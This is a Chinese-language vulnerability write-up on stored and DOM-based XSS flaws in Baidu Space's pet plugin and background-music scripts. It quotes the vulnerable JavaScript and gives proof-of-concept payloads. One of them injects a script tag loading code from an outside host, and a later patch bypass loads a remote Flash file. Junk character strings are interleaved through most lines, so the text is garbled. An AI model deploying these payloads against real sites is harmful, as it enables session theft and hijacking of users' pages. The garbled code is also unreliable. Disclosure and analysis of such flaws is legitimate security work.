百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
' M4 p9 Z" m, a- n
y' i+ [+ K/ p" g- l1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存. % x4 Q* T3 p5 @! }$ e' q4 s/ M2 v
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中 , R2 {! O/ I l
; z; W. q# u' e1 d q3 \5 ~将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p> 1 S0 P( [' k! N8 Q2 o
其中BdUtil.insertWBR为 . D3 O) T2 z3 Y( m8 B7 U% x y4 K) T
function(text, step) {
9 x' |% ~$ S& N+ n) x& }8 ? var textarea = textAreaCache || getContainer(); - e' V2 H0 y* N H: Q5 N) T
if (!textarea) {
8 f' {) _# I+ l return text; 6 k5 I% G5 A% t
}
1 }4 @" R, |2 Y textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); . N3 c/ x" |- M5 |# |. I! E+ [
var string = textarea.value;
! I, h- Z9 P9 N# \ var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");
/ q& i$ m' S% O) J' B& F5 C var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
2 t- r9 _, |$ C& d2 [) e return result; 6 F8 }- x5 X8 ~( D, R
}
! {8 Q! Y1 W4 R* j$ `6 {" F9 y0 q在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.
% M( O3 y4 W# z6 L3 z测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)> 0 g# Q* _. V- r6 s/ V' ^- u
7 B$ F2 K5 S4 I7 C% j6 I
二:creatbgmusic() Dom-Xss Bug ! X) g1 y3 V0 w
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞 - \( X3 n& Z9 x
; s/ I$ F- P; Z0 m
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
/ n4 g- \1 U8 g `
+ d/ @% e, ]/ Q4 |function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) { - r1 Z- B0 i- V1 h a- G
//传入的murl赋值到bgmusic1和bgmusic2中 * ?, {. C5 _1 ^5 s) ]7 e2 {0 T* _
//可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1 $ M# Y+ f+ l# m5 R& P) a' [4 r/ L
var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">"; - |( R8 b( ?1 O, h
if (musicnum <= 1) { 6 I' S0 c& U' Q" F! u
bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
. s% ?# y! j/ z& F" W1 s } 2 A* ^: e: Z ^2 t8 v
bgmusic1 += "</OBJECT>";
7 M2 d0 G$ M4 f2 ]' h% p var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\""; 6 i1 D3 z3 v+ J4 V
if (musicnum <= 1) { 2 }. Z: N$ W6 m1 a/ x8 }
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";
, i' b3 a. c1 \$ [" ? }
, _3 g' k5 a6 [* x bgmusic2 += "> </EMBED>";
1 e& a8 p( _, K4 ] var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>"; * i9 g& q& e S9 P! a0 P; {
var bgmus = detectWMP(); 4 F8 _2 j8 y% z4 ~
if (functype == "FckMusicHelper") { ; c9 t2 w7 n- a% z8 Y0 B$ c
if (bgmus.installed) { R. y* S. C; C. i3 q; G! p
if (bgmus.type == "IE") { : |! S; G4 W( T
return bgmusic1; $ _- l8 G, j/ p% V8 Y b0 \4 l7 P. k
} else if (bgmus.type == "NS") { " Z& D5 i- _( i% ~9 |; s
return bgmusic2;
% p) i+ D) D, t" z } ' A& o8 ?9 Z! D
} else { # B: s- s: c1 v H' H
return bgmusic3;
& a8 I& x0 J, f' [* S4 A$ C) N }
* q9 n, O) F. j7 ^ } else { $ ?; R- |* z7 Q1 m% Z# k9 e$ W
if (bgmus.installed) { 2 T W u8 ~6 y! K
//document.write 直接输出bgmusic变量 导致xss ]6 A4 ^& `3 |# S. J) H
if (bgmus.type == "IE") { / D0 v" m2 T2 K4 M4 _. `3 x
document.write(bgmusic1);
$ T [1 D, ^8 Q, D } else if (bgmus.type == "NS") { . g. d" V8 _- S) }- {. D5 e+ g
document.write(bgmusic2); ! h7 t2 S& M- }7 T# X$ Y2 L; P1 ^ S* f
} 7 K G( z7 x. R
} else {
# W9 C. l# z2 v- m/ U6 | document.write(bgmusic3); # j: F. h3 B- i7 X( f, S
} 5 D E! ~( s# I5 l5 S+ [
return "";
& y* w& e7 U- n- R8 e }
: B8 M4 g! q6 g& k l% D}
6 p! t T2 b! q# R5 h0 e! V3 g" g4 c! _( `7 V3 y& k
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: 3 ^2 p" ^& w6 H4 H
7 E5 O/ M" `9 j' B; ^/ {4 d9 z
function initBlogTextForFCK(){
# Y9 @, }% {; O1 N, G7 C3 Y+ t//fck init music
# W) g) x: @& h( Uif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}
) V5 }+ ~' o7 D+ mvar imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
) ]& T* n+ V- J) X$ T9 D5 j4 Evar isAutoPlay=true; 7 B! V Z* Q/ B; G3 [6 y
for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. $ M; d+ K; ?9 z# E
var img=imgBox;
: @2 O: D8 A1 [8 `# `( p+ @0 B( Y if(img.getAttribute(’rel’)){ : j! w' m! [& N2 W* b$ @
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc 5 J+ M# n6 M2 e" L% {% P1 \2 x8 f3 y
var musicDiv = document.createElement("SPAN"); 7 n8 A5 L/ v; `! R3 \7 V- ~
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp] % X- f& Q& c8 P/ j8 I
( ]; _" U. M/ P* R; y9 |
.......................... ) r z3 K! Q# w' O* N' B
7 _% Q8 @' o8 h h
//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来. * A, {# L, i! X5 g1 \ n7 G* }
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); ' f) T& e5 E4 V2 G* Q! _2 B" |
shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv);
0 l; q' p" u" ^1 p2 x. `! U% `7 ` musicDiv.innerHTML=shtml; , _0 K: f. T1 q/ O) ], ^( H) X: e; Y
i--;n--; 3 }4 K1 z. r+ O9 a# L# Y
} " f7 N& Z% s5 F) X) S( Q. n
}
3 Y( k8 _. U+ s3 K2 n7 p8 x0 w9 t4 d0 }5 W2 ^6 r
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
# D! w% C2 ?* G0 M m+ [+ J
! l) R5 E0 h+ p0 C5 [测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/> N3 J! o3 @8 L
: p- p v/ i+ U5 S9 B等待官方补丁
. w+ f$ V5 D6 @) o' g3 \$ ]" u6 q' u0 \1 k
update 2010年5月13日 4 a+ u2 U: z9 v- i. D( B* X
. w0 _- o& Y) H
官方补丁: & Y% q, r& |' ^0 b" M* ?' _& m; ^
3 ?) o8 e. f( j0 a: _) o7 rvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
3 {9 o/ C) v2 v/ Y2 S1 ^改为: 1 U' |0 V9 P+ K# A% k4 I3 H: i
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’); % ]. Z( H1 ^' u% D' ^
2 b) P: p$ j" K$ L t/ k$ V
update 2010年5月13日 21:50:37
' ] @5 R' ]! m
/ Y% j/ d$ K2 ~补丁存在漏洞 没有过滤" 可以继续跨: , p9 N( i' b) A$ @& U* H
1 ^9 l9 w6 u9 d$ s8 P vNEW POC: : z1 `3 K3 y+ Y/ P
4 A! @; }0 c5 m<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" ; F' G. z7 F4 p# t6 z* x+ ]0 i% u
: i9 B, f4 y3 I$ x, \0 [7 }0 H3 {8 f
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
; e! I+ P8 j' i' C d7 o9 n 6 [' k" u0 s* R/ J
|